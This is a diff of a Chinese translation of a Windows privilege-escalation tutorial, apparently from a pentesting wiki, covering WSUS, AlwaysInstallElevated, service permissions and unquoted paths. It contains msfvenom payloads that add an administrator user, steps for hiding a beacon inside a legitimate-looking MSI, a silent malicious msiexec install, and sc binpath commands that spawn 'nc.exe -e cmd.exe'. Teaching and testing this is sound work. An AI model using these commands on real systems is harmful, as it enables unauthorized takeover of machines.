+会捕获脚本执行的完整活动和全部内容记录,确保每个代码块在运行时都被记录。此过程保留了每项活动的全面审计轨迹,对取证和分析恶意行为非常有价值。通过在执行时记录所有活动,可以获得对该过程的详细洞见。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -记录脚本块的事件可以在 Windows 事件查看器中找到,路径为:**应用程序和服务日志 > Microsoft > Windows > PowerShell > 操作**。\ -要查看最后 20 个事件,可以使用: +Script Block 的日志事件可以在 Windows Event Viewer 的以下路径找到:**Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\\ +要查看最近 20 个事件,可以使用: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` -### 互联网设置 +### Internet 设置 ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" @@ -156,17 +156,17 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -如果更新不是通过 http**S** 而是通过 http 请求的,您可以危害系统。 +如果更新不是通过 http**S** 而是通过 http 请求,系统可能会被攻破。 -您可以通过在 cmd 中运行以下命令来检查网络是否使用非 SSL 的 WSUS 更新: +首先,通过在 cmd 中运行以下命令来检查网络是否使用非 SSL 的 WSUS 更新: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -或在 PowerShell 中: +或者在 PowerShell 中执行以下命令: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -如果您收到以下回复之一: +如果你收到如下回复: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,13 +180,13 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -如果 `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` 或 `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` 等于 `1`。 +And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. -那么,**它是可利用的。** 如果最后一个注册表等于 0,则 WSUS 条目将被忽略。 +Then, **it is exploitable.** If the last registry is equals to 0, then, the WSUS entry will be ignored. -为了利用这些漏洞,您可以使用工具如:[Wsuxploit](https://github.com/pimps/wsuxploit),[pyWSUS ](https://github.com/GoSecure/pywsus) - 这些是 MiTM 武器化的利用脚本,用于将“假”更新注入非 SSL WSUS 流量。 +为了利用该漏洞,你可以使用类似的工具: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) — 这些是用于 MiTM 的武器化 exploit 脚本,用来向非 SSL 的 WSUS 流量注入伪造更新。 -在这里阅读研究: +Read the research here: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -194,99 +194,102 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**在这里阅读完整报告**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/)。\ -基本上,这是这个漏洞利用的缺陷: +[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +基本上,这就是该漏洞利用的要点: -> 如果我们有权修改本地用户代理,并且 Windows 更新使用 Internet Explorer 设置中配置的代理,那么我们就有权在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截自己的流量,并以提升的用户身份在我们的资产上运行代码。 +> 如果我们有权修改本地用户代理,并且 Windows Updates 使用 Internet Explorer 中配置的代理设置,那么我们就可以在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截自己的流量,并以提升权限的用户在我们的资产上运行代码。 > -> 此外,由于 WSUS 服务使用当前用户的设置,它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中,我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用 HSTS 类似机制在证书上实现首次使用信任类型的验证。如果所呈现的证书被用户信任并具有正确的主机名,它将被服务接受。 +> 此外,由于 WSUS 服务使用当前用户的设置,它也会使用当前用户的证书存储。如果我们为 WSUS 主机名生成自签名证书并将该证书添加到当前用户的证书存储中,我们将能够拦截 HTTP 和 HTTPS 的 WSUS 流量。WSUS 不使用类似 HSTS 的机制来对证书实施 trust-on-first-use 类型的验证。如果呈现的证书被用户信任并具有正确的主机名,服务将接受该证书。 -您可以使用工具 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious)(一旦它被解放)来利用此漏洞。 +You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). ## KrbRelayUp -在特定条件下,Windows **域**环境中存在 **本地权限提升** 漏洞。这些条件包括 **LDAP 签名未强制执行**、用户拥有自我权限允许他们配置 **基于资源的受限委派 (RBCD)**,以及用户能够在域内创建计算机。需要注意的是,这些 **要求** 在 **默认设置** 下满足。 +在特定条件下,Windows **domain** 环境中存在一个 **local privilege escalation** 漏洞。这些条件包括:未强制启用 **LDAP signing** 的环境、用户拥有允许其配置 **Resource-Based Constrained Delegation (RBCD)** 的自我权限,以及用户能够在域内创建计算机。需要注意的是,这些 **要求** 在 **默认设置** 下即会满足。 -在 [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) 中找到 **利用**。 +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -有关攻击流程的更多信息,请查看 [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**如果** 这 2 个注册表 **启用**(值为 **0x1**),则任何权限的用户都可以 **安装**(执行) `*.msi` 文件作为 NT AUTHORITY\\**SYSTEM**。 +**If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` -### Metasploit 载荷 +### Metasploit payloads ```bash msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -如果您有一个 meterpreter 会话,您可以使用模块 **`exploit/windows/local/always_install_elevated`** 自动化此技术。 +如果你有一个 meterpreter 会话,你可以使用模块 **`exploit/windows/local/always_install_elevated`** 自动化这一技术 ### PowerUP -使用 power-up 中的 `Write-UserAddMSI` 命令在当前目录中创建一个 Windows MSI 二进制文件以提升权限。此脚本写出一个预编译的 MSI 安装程序,该安装程序提示添加用户/组(因此您需要 GIU 访问权限): +使用 power-up 的 `Write-UserAddMSI` 命令在当前目录中创建一个用于提权的 Windows MSI 二进制文件。该脚本会写出一个预编译的 MSI 安装程序,提示添加用户/组(因此你将需要 GIU 访问权限): ``` Write-UserAddMSI ``` -只需执行创建的二进制文件以提升权限。 +只需执行生成的二进制文件即可提升权限。 ### MSI Wrapper -阅读本教程以了解如何使用这些工具创建 MSI 包装器。请注意,如果您**仅**想要**执行** **命令行**,可以包装一个 "**.bat**" 文件。 +阅读本教程以学习如何使用这些工具创建 MSI Wrapper。注意,如果您只是想执行命令行,可以将 **.bat** 文件打包。 + {{#ref}} msi-wrapper.md {{#endref}} -### 使用 WIX 创建 MSI +### Create MSI with WIX + {{#ref}} create-msi-with-wix.md {{#endref}} -### 使用 Visual Studio 创建 MSI +### Create MSI with Visual Studio -- **使用** Cobalt Strike 或 Metasploit 生成一个 **新的 Windows EXE TCP 负载** 在 `C:\privesc\beacon.exe` -- 打开 **Visual Studio**,选择 **创建新项目**,并在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **下一步**。 -- 给项目命名,例如 **AlwaysPrivesc**,使用 **`C:\privesc`** 作为位置,选择 **将解决方案和项目放在同一目录中**,然后点击 **创建**。 -- 一直点击 **下一步**,直到到达第 3 步(选择要包含的文件)。点击 **添加** 并选择您刚生成的 Beacon 负载。然后点击 **完成**。 -- 在 **解决方案资源管理器** 中突出显示 **AlwaysPrivesc** 项目,在 **属性** 中,将 **TargetPlatform** 从 **x86** 更改为 **x64**。 -- 您可以更改其他属性,例如 **作者** 和 **制造商**,这可以使安装的应用程序看起来更合法。 -- 右键单击项目并选择 **查看 > 自定义操作**。 -- 右键单击 **安装** 并选择 **添加自定义操作**。 -- 双击 **应用程序文件夹**,选择您的 **beacon.exe** 文件并点击 **确定**。这将确保在安装程序运行时立即执行 beacon 负载。 -- 在 **自定义操作属性** 下,将 **Run64Bit** 更改为 **True**。 -- 最后,**构建它**。 -- 如果显示警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`,请确保将平台设置为 x64。 +- 使用 Cobalt Strike 或 Metasploit **生成** 一个 **new Windows EXE TCP payload** 到 `C:\privesc\beacon.exe` +- 打开 **Visual Studio**,选择 **Create a new project** 并在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **Next**。 +- 为项目命名,例如 **AlwaysPrivesc**,将位置设置为 **`C:\privesc`**,选中 **place solution and project in the same directory**,然后点击 **Create**。 +- 不断点击 **Next**,直到到达第 3 步(共 4 步)(选择要包含的文件)。点击 **Add** 并选择刚生成的 Beacon payload。然后点击 **Finish**。 +- 在 **Solution Explorer** 中选中 **AlwaysPrivesc** 项目,在 **Properties** 中将 **TargetPlatform** 从 **x86** 改为 **x64**。 +- 你还可以修改其他属性,例如 **Author** 和 **Manufacturer**,这可以让安装的应用看起来更合法。 +- 右键项目,选择 **View > Custom Actions**。 +- 右键 **Install**,选择 **Add Custom Action**。 +- 双击 **Application Folder**,选择你的 **beacon.exe** 文件并点击 **OK**。这样可以确保安装程序运行后立即执行 beacon payload。 +- 在 **Custom Action Properties** 下,将 **Run64Bit** 更改为 **True**。 +- 最后,**构建** 项目。 +- 如果出现警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`,请确认已将平台设置为 x64。 -### MSI 安装 +### MSI Installation -要在 **后台** 执行恶意 `.msi` 文件的 **安装**: +要在后台执行恶意 `.msi` 文件的**安装**: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -要利用此漏洞,您可以使用: _exploit/windows/local/always_install_elevated_ +要 exploit 此漏洞,你可以使用: _exploit/windows/local/always_install_elevated_ -## 防病毒软件和检测器 +## 防病毒与检测 ### 审计设置 -这些设置决定了什么被**记录**,因此您应该注意。 +这些设置决定了哪些内容会被**记录**,因此你应当注意 ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding,了解日志发送到哪里是很有趣的。 +Windows Event Forwarding,了解日志被发送到哪里很有趣 ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** 旨在 **管理本地管理员密码**,确保每个密码都是 **唯一的、随机生成的,并定期更新** 在加入域的计算机上。这些密码安全地存储在 Active Directory 中,只有通过 ACL 授予足够权限的用户才能访问,从而允许他们在获得授权的情况下查看本地管理员密码。 +**LAPS** 旨在管理本地 Administrator 密码,确保在加入域的计算机上,每个密码都是**唯一、随机化并定期更新**。这些密码安全地存储在 Active Directory 中,只有通过 ACL 授予了足够权限的用户才能访问,从而在被授权时查看本地 admin 密码。 + {{#ref}} ../active-directory-methodology/laps.md @@ -294,28 +297,28 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -如果启用,**明文密码存储在 LSASS**(本地安全授权子系统服务)中。\ -[**关于 WDigest 的更多信息请查看此页面**](../stealing-credentials/credentials-protections.md#wdigest)。 +如果启用,**明文密码会存储在 LSASS** (Local Security Authority Subsystem Service)。\ +[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### LSA 保护 +### LSA Protection -从 **Windows 8.1** 开始,微软引入了对本地安全机构 (LSA) 的增强保护,以 **阻止** 不受信任的进程 **读取其内存** 或注入代码,从而进一步保护系统。\ -[**有关 LSA 保护的更多信息**](../stealing-credentials/credentials-protections.md#lsa-protection)。 +从 **Windows 8.1** 开始,Microsoft 引入了对 Local Security Authority (LSA) 的增强保护,以 **阻止** 不受信任的进程尝试 **读取其内存** 或注入代码,从而进一步保护系统。\ +[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** 于 **Windows 10** 中引入。其目的是保护存储在设备上的凭据,防止诸如传递哈希攻击等威胁。| [**有关 Credentials Guard 的更多信息。**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** 首次引入于 **Windows 10**。其目的是保护存储在设备上的 credentials 免受诸如 pass-the-hash 攻击之类的威胁。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### 缓存凭据 +### Cached Credentials -**域凭据**由**本地安全机构**(LSA)进行认证,并被操作系统组件使用。当用户的登录数据通过注册的安全包进行认证时,通常会为该用户建立域凭据。\ -[**有关缓存凭据的更多信息请点击这里**](../stealing-credentials/credentials-protections.md#cached-credentials)。 +**Domain credentials** 由 **Local Security Authority** (LSA) 验证并被操作系统组件使用。当用户的登录数据被已注册的安全包认证时,通常会为该用户建立 domain credentials。\ +[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -323,7 +326,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### 枚举用户与组 -您应该检查您所属的任何组是否具有有趣的权限 +你应该检查自己所属的任何组是否具有有趣的权限 ```bash # CMD net users %username% #Me @@ -340,17 +343,17 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### 特权组 -如果您**属于某个特权组,您可能能够提升权限**。在这里了解特权组及其滥用方式以提升权限: +如果你 **属于某个特权组,你可能能够提升权限**。在这里了解特权组以及如何滥用它们来提升权限: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### 令牌操作 +### Token manipulation -**了解更多**关于**令牌**的信息,请访问此页面:[**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens)。\ -请查看以下页面以**了解有趣的令牌**及其滥用方式: +**了解更多** 关于 **token** 是什么,请参见此页面: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +检查以下页面以 **了解有趣的 tokens** 以及如何滥用它们: {{#ref}} @@ -362,7 +365,7 @@ privilege-escalation-abusing-tokens.md qwinsta klist sessions ``` -### 家庭文件夹 +### 主目录 ```bash dir C:\Users Get-ChildItem C:\Users @@ -371,16 +374,16 @@ Get-ChildItem C:\Users ```bash net accounts ``` -### 获取剪贴板的内容 +### 获取剪贴板内容 ```bash powershell -command "Get-Clipboard" ``` -## 运行进程 +## 运行中的进程 ### 文件和文件夹权限 -首先,列出进程 **检查进程命令行中的密码**。\ -检查您是否可以 **覆盖某个正在运行的二进制文件**,或者您是否对二进制文件夹具有写权限,以利用可能的 [**DLL Hijacking attacks**](dll-hijacking/index.html): +首先,列出进程时,**检查 command line 中是否包含 passwords**。\\ +检查是否可以 **overwrite some binary running**,或是否对 binary folder 有写权限,以利用可能的 [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -391,7 +394,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -始终检查可能正在运行的 [**electron/cef/chromium 调试器**,您可以利用它来提升权限](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)。 +始终检查是否存在可能的[**electron/cef/chromium debuggers** 正在运行,你可以滥用它来提升权限](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **检查进程二进制文件的权限** ```bash @@ -402,7 +405,7 @@ icacls "%%z" ) ) ``` -**检查进程二进制文件文件夹的权限 (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**检查进程二进制文件所在文件夹的权限 (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -410,17 +413,17 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### 内存密码挖掘 +### Memory Password mining -您可以使用来自 sysinternals 的 **procdump** 创建正在运行的进程的内存转储。像 FTP 这样的服务在内存中以 **明文形式存储凭据**,尝试转储内存并读取凭据。 +你可以使用来自 sysinternals 的 **procdump** 创建正在运行进程的 memory dump。像 FTP 这样的服务会有 **credentials in clear text in memory**,尝试转储内存并读取这些 credentials。 ```bash procdump.exe -accepteula -ma ``` -### 不安全的 GUI 应用程序 +### 不安全的 GUI 应用 -**以 SYSTEM 身份运行的应用程序可能允许用户生成 CMD 或浏览目录。** +**以 SYSTEM 身份运行的应用程序可能允许用户启动 CMD 或浏览目录。** -示例:“Windows 帮助和支持”(Windows + F1),搜索“命令提示符”,点击“点击打开命令提示符” +示例: "Windows Help and Support" (Windows + F1),搜索 "command prompt",点击 "Click to open Command Prompt" ## 服务 @@ -433,44 +436,44 @@ Get-Service ``` ### 权限 -您可以使用 **sc** 获取服务的信息 +你可以使用 **sc** 来获取有关服务的信息 ```bash sc qc ``` -建议使用来自 _Sysinternals_ 的二进制文件 **accesschk** 来检查每个服务所需的权限级别。 +建议获取来自 _Sysinternals_ 的二进制文件 **accesschk**,用于检查每个服务所需的权限级别。 ```bash accesschk.exe -ucqv #Check rights for different groups ``` -建议检查“经过身份验证的用户”是否可以修改任何服务: +建议检查 "Authenticated Users" 是否可以修改任何服务: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[您可以在这里下载适用于 XP 的 accesschk.exe](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### 启用服务 -如果您遇到此错误(例如 SSDPSRV): +如果你遇到此错误(例如在 SSDPSRV 上): -_系统错误 1058 已发生。_\ -_该服务无法启动,可能是因为它被禁用或没有与之关联的启用设备。_ +_发生了系统错误 1058。_\ +_无法启动该服务,可能是因为它被禁用,或者没有与之关联的已启用设备。_ -您可以使用以下方法启用它: +你可以通过以下方式启用它 ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**请注意,服务 upnphost 依赖于 SSDPSRV 才能工作(适用于 XP SP1)** +**请注意,服务 upnphost 依赖 SSDPSRV 才能工作(适用于 XP SP1)** -**此问题的另一种解决方法**是运行: +**另一个解决方法** 针对该问题是运行: ``` sc.exe config usosvc start= auto ``` ### **修改服务二进制路径** -在“经过身份验证的用户”组拥有 **SERVICE_ALL_ACCESS** 权限的服务场景中,可以修改服务的可执行二进制文件。要修改并执行 **sc**: +在场景中,当 "Authenticated users" 组对某个服务拥有 **SERVICE_ALL_ACCESS** 时,可以修改该服务的可执行二进制文件。要修改并执行 **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -483,26 +486,26 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -权限可以通过各种权限提升: +权限可以通过多种权限进行提权: - **SERVICE_CHANGE_CONFIG**: 允许重新配置服务二进制文件。 -- **WRITE_DAC**: 使得权限重新配置成为可能,从而能够更改服务配置。 -- **WRITE_OWNER**: 允许获取所有权和权限重新配置。 -- **GENERIC_WRITE**: 继承更改服务配置的能力。 -- **GENERIC_ALL**: 也继承更改服务配置的能力。 +- **WRITE_DAC**: 允许重新配置权限,从而能够更改服务配置。 +- **WRITE_OWNER**: 允许获取所有权并重新配置权限。 +- **GENERIC_WRITE**: 同样具有更改服务配置的能力。 +- **GENERIC_ALL**: 同样具有更改服务配置的能力。 -为了检测和利用此漏洞,可以使用 _exploit/windows/local/service_permissions_。 +要检测和利用此漏洞,可以使用 _exploit/windows/local/service_permissions_。 ### 服务二进制文件的弱权限 -**检查您是否可以修改由服务执行的二进制文件**,或者您是否在二进制文件所在的文件夹中具有**写权限**([**DLL Hijacking**](dll-hijacking/index.html))。\ -您可以使用 **wmic**(不在 system32 中)获取由服务执行的每个二进制文件,并使用 **icacls** 检查您的权限: +**检查你是否可以修改由服务执行的二进制文件** 或者你是否对二进制文件所在的文件夹拥有 **写权限**([**DLL Hijacking**](dll-hijacking/index.html))**。**\ +你可以使用 **wmic** 获取服务执行的所有二进制文件(非 system32 中的),并使用 **icacls** 检查你的权限: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -您还可以使用 **sc** 和 **icacls**: +你也可以使用 **sc** 和 **icacls**: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt @@ -510,8 +513,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> ``` ### 服务注册表修改权限 -您应该检查是否可以修改任何服务注册表。\ -您可以通过以下方式**检查**您对服务**注册表**的**权限**: +你应该检查是否可以修改任何服务注册表。\ +你可以**检查**你对服务**注册表**的**权限**,方法是: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -520,15 +523,16 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -应该检查**Authenticated Users**或**NT AUTHORITY\INTERACTIVE**是否拥有`FullControl`权限。如果是这样,服务执行的二进制文件可以被更改。 +应该检查 **Authenticated Users** 或 **NT AUTHORITY\INTERACTIVE** 是否拥有 `FullControl` 权限。如果是,则可以更改服务执行的二进制文件。 -要更改执行的二进制文件的路径: +要更改被执行二进制文件的路径: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` ### 服务注册表 AppendData/AddSubdirectory 权限 -如果您对注册表具有此权限,这意味着**您可以从此注册表创建子注册表**。在 Windows 服务的情况下,这**足以执行任意代码:** +如果你对某个注册表拥有此权限,这意味着**你可以从该注册表创建子注册表**。在 Windows 服务 的情况下,这**足以执行任意代码:** + {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md @@ -536,15 +540,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### 未加引号的服务路径 -如果可执行文件的路径没有用引号括起来,Windows 将尝试执行每个在空格之前的结尾。 +如果可执行文件的路径没有被引号包围,Windows 会尝试执行路径中每个空格之前的部分。 -例如,对于路径 _C:\Program Files\Some Folder\Service.exe_,Windows 将尝试执行: +例如,对于路径 _C:\Program Files\Some Folder\Service.exe_,Windows 会尝试执行: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -列出所有未加引号的服务路径,排除属于内置Windows服务的路径: +列出所有未加引号的服务路径,排除属于内置 Windows 服务的那些: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -564,19 +568,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**您可以使用** metasploit 检测和利用此漏洞: `exploit/windows/local/trusted\_service\_path` 您可以手动创建一个服务二进制文件,使用 metasploit: +**你可以检测并利用** 此漏洞与 metasploit: `exploit/windows/local/trusted\_service\_path` 你可以手动使用 metasploit 创建一个服务二进制文件: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### 恢复操作 -Windows 允许用户指定在服务失败时采取的操作。此功能可以配置为指向一个二进制文件。如果这个二进制文件是可替换的,可能会实现权限提升。更多细节可以在 [官方文档]() 中找到。 +Windows 允许用户指定服务失败时要执行的操作。此功能可以配置为指向一个二进制文件。如果该二进制文件可被替换,则可能发生 privilege escalation。更多细节见 [官方文档](). ## 应用程序 ### 已安装的应用程序 -检查 **二进制文件的权限**(也许你可以覆盖一个并提升权限)和 **文件夹**([DLL Hijacking](dll-hijacking/index.html))。 +检查 **二进制文件的权限**(也许你可以覆盖其中一个并 escalate privileges)以及 **文件夹**([DLL Hijacking](dll-hijacking/index.html))。 ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -585,11 +589,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### 写权限 +### 写入权限 -检查您是否可以修改某些配置文件以读取某些特殊文件,或者您是否可以修改将由管理员帐户(schedtasks)执行的某些二进制文件。 +检查是否可以修改某些 config file 来读取某些特殊文件,或者是否可以修改某个将由 Administrator 账户执行的 binary(schedtasks)。 -查找系统中弱文件夹/文件权限的一种方法是: +一种查找系统中权限薄弱的文件夹/文件的方法是执行: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -612,32 +616,40 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### 开机时运行 +### 启动时运行 + +**检查是否可以覆盖某些将由不同用户执行的注册表项或二进制文件。**\ +**阅读** **以下页面** 以了解更多有关有趣的 **autoruns locations to escalate privileges**: -**检查您是否可以覆盖某些将由不同用户执行的注册表或二进制文件。**\ -**阅读**以下页面以了解有关有趣的**自动运行位置以提升权限**的更多信息: {{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}} -### 驱动程序 +### 驱动 -寻找可能的**第三方奇怪/易受攻击**的驱动程序 +查找可能的 **第三方异常/易受攻击** 驱动程序 ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -## PATH DLL 劫持 +如果某个 driver 暴露了 arbitrary kernel read/write primitive(这在设计不良的 IOCTL handlers 中很常见),你可以通过直接从 kernel memory 中窃取 SYSTEM token 来 escalate。详见下面的逐步技术: -如果您在 PATH 中的某个文件夹内具有 **写入权限**,您可能能够劫持由进程加载的 DLL 并 **提升权限**。 +{{#ref}} +arbitrary-kernel-rw-token-theft.md +{{#endref}} + + +## PATH DLL Hijacking + +如果你在 PATH 中的某个文件夹拥有 **write permissions**,你可能可以劫持由 process 加载的 DLL 并 **escalate privileges**。 检查 PATH 中所有文件夹的权限: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i 